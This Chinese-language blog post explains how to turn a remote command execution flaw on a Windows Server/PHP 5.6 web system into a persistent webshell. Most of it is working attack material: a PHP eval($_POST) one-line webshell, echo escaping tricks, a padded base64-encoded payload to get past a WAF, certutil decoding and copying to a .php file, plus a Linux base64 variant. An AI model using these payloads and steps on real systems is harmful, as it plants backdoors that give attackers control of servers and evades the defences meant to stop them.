51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

Web系统的RCE漏洞的Getshell姿势

情景描述

今天早上在研究一个Web系统的0Day,虽然是个任意命令执行漏洞,但是这个RCE有些局限,就想通过RCE写个WebShell提提权再看看
目标系统:Microsoft Windows Server 2019 Standard
动态脚本:PHP 5.6
RCE封面图.png

GetShell姿势

通常我们写入文件,通常都会使用CMD的echo命令

echo 文件内容 > "文件名"

假如我们要写php一句话的时候,比如:

<?php eval($_POST["aabyss"]); ?>

这时候有同学就想到这样不就好了:

echo <?php eval($_POST["aabyss"]);?> > "webshell.php"

但实际上这样是不行的,因为以下特殊符号是无法直接放入echo语句(执行会提示语法错误或者无法写入这些符号):

& | > < +

所以通常我们会把特殊符号通过^来进行转义,比如这样:

echo ^<?php eval($_POST["aabyss"]);?^> > "webshell.php"

通常就能写入了

难点来了

但是我早上尝试的那个0day,语句没办法通过^进行转义,或者写入的流量被WAF拦截,怎么办呢?

首先,我想到了通过""双引号进行包含进行写入,比如:

echo echo "<?php eval($_POST["aabyss"]);?>" > "webshell.php"

文件内容如下:

"<?php eval($_POST["aabyss"]);?>"

这样虽然能写入& | > < +这些特殊符号,但是代码最外层带了"",实测php代码是无法执行的

于是我又想到了Base64编码进行写入,首先对一句话内容进行base编码:
webshell-base编码1.png
于是得到编码后的Base64字符串,如下:

PD9waHAgZXZhbCgkX1BPU1RbImFhYnlzcyJdKTsgID8+

但是通过上文,我们发现+也是不能写入的,怎么办呢?

这时候插入在外部插入一些数字就能简单解决啦:
webshell-base编码2.png
这时候就得到一份做好的Base64字符串

MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy

接下来通过echoBase64字符串写入TXT文件即可:

echo MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy > "base64.txt"

接下来通过命令进行解密:

certutil -f -decode "base64.txt" "webshell.txt"

然后将webshell.txt复制为php文件即可大功告成:

copy webshell.txt webshell.php

其他一些tips

对于Linux系统,可以采用系统命令直接解密Base64来写入:

echo 'MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy' | base64 -d > webshell.php

查看当前目录:

cd

解密Base64文件到上层目录:

certutil -f -decode "base64.txt" "../webshell.txt"

将命令输入内容写入文件查看:

命令 >> out.txt
赞(4)
未经允许不得转载:工具盒子 » Web系统的RCE漏洞的Getshell姿势